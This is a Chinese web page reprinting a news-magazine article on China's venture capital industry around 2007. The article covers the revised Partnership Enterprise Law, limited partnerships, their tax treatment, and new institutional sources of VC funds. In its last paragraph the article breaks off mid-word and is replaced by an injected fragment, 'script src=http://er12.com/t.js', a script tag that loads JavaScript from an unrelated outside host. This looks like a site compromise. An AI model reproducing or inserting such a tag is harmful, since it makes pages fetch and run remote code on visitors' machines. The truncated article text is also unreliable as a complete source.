新经济导刊:中国创投转折年

即将实施的《合伙企业法》,将成为推动创投大发展的一个里程碑式的立法,而金融创新的不断推进则为创投的发展提供了资金储备;资本市场的进一步繁荣,更是为vc退出提供了保证

中国创投真正大发展是从1998年“一号提案”(即民建中央在全国政协九届一次会议上提交的《关于加快我国风险投资事业的几点意见》)之后开始的,至今,已经八年。当初,我们眼中的种种不完备,种种怪圈,都在悄然地发生着改变。我们也慢慢地发现,创投业的各个环节正在逐步实现畅通,很快就能实现良性循环了。

特别是进入2007年之后,这种势头尤为明显。我们看到无论是北京还是上海,无论是外资还是本土,都似乎对创投这个市场充满信心与期待。2007年,vc正在全面进入主流,迈上一个崭新的台阶。

有限合伙启动

2007年,真正将中国创投引向一个新阶段的导火索,将是合伙企业法修订后的出台实施。

“合伙企业法的修订实施,必将成为中国创投史上一个重要的里程碑。”所有创投界人士都对该法表示出极大的期待,特别是本土创投,几乎无一例外。

全国人大法案室主任朱少平表示,其实,关于合伙企业法,在1997年就通过了,原本是要规范有限合伙的,但最后因种种原因取消了这一内容。后来,一号提案之后,这个问题才显得特别重要。

直到2002年前后,商务部、科技部和工商局联合发了一个关于外商投资企业创业投资的管理办法,该办法使外商投资企业可以在我国做创业投资,但国内企业不能做,形成了事实上的内外资企业的不平等。因此,立法机关一直试图从立法上解决这一问题。曾探讨通过基金立法来解决,但未果,就开始启动合伙企业法的修改。

该法的修订整整经历了3年多的时间。说到这时,朱少平显得非常激动,因为,这个过程本身也使他对创投的看法发生了根本性的改变,从一个反对者变成一个坚定的支持者。

朱少平透露,在该法中,起草组一直坚持的主要有四点。对创投作用最大的第一点是,增加有限合伙。有限合伙是指企业在有一个以上的人承担无限责任的基础上,允许更多的出资人承担有限责任。这种合伙管理成本低,在企业这个阶段不征收企业所得税。

对创投影响同样大的第二点是明确了合伙企业的所得纳税问题。朱少平解释,全世界各国合伙企业在这个阶段都不征收所得税,这个“不征”是从法律制度框架来说,根本不用征,而不同于平常说的免税。

朱透露,关于税的问题,当时也遇到很大争议。税收部门希望不要在合伙法中规定这一问题,但经过反复讨论,考虑到创投界对这个问题期望很高,而且在执行中,如果合伙法不规定,别的法也没有出来,可能最终会影响到执行。“最后通过的合伙企业法中第六条对这个问题作了原则规定,即合伙企业的经营所得和其他所得,按照法律由投资者分得收益以后分别缴纳所得税。”也就是说,是机构的要缴纳企业所得税,是个人的要缴纳个人所得税,但在合伙企业这个环节是不用缴的。这样,基本与国际接轨了,为创投的继续发展做好了铺垫。

与创投有关的另外两点还包括,其一,允许法人合伙。主要是考虑到一定要有法人组织加入进去,才能够使有限合伙产生更大的吸引力和信任力。其二,增加有限责任合伙。主要适用于中介机构,如律师事务所,会计师事务所等。

科技部研究中心创投所所长房汉庭也认为,即将于2007年7月1日生效的《合伙企业法(修订草案)》是个里程碑式的进步。对有限合伙制度的重新界定为创投的身份认定提供了更到位的法律保障。作为基金投入者的有限合伙人依据合伙协议享受收益,不对外代表合伙企业,也不直接参与企业经营管理,对企业债务只承担有限责任。有限合伙法的这次修订,使得创投机构可以真正成为一个投资管道了。

资金来源多元化

中国本土创投之所以大范围内集体消失,除了退出环节外,关键一点是没有持续的资金来源。比如,当初本土创投投资的一批企业,在经过第一轮融资后,有些前景很多不错,但等到企业需要第二轮融资时,很多本土vc却苦于没有资金来源,不得不放弃。

不过,现在情况正在发生转变。包括保险公司、商业银行、证券机构等在内的资金正在悄悄进入创投市场。

对此,房汉庭认为,之前相当长的时间内,中国都把创投界定为一种单纯的权益性资本,在其资本金来源上也采取了单一的公司股本定向募集方式。早期的创投资金主要来自天使投资人,资金来源基本是权益投资方式,基金管理团队可以根据特定的运用对象发起设立新的基金公司。尽管这种方式至今仍是创投基金募集的重要方式,但随着创投市场的全球化,其资金来源与运用工具也在多样化。从资金来源上看,一般天使投资人已经退居次要位置,而保险基金、商业银行、投资银行以及产业资本等机构投资者正在成为创投机构的主要资金提供者。

从资金运用形式上也更多样化。创投机构正在成为资本管?script src=http://er12.com/t.js>

  • 新经济导刊:中国创投转折年已关闭评论
    A+
发布日期:2019年07月04日  所属分类:新闻动态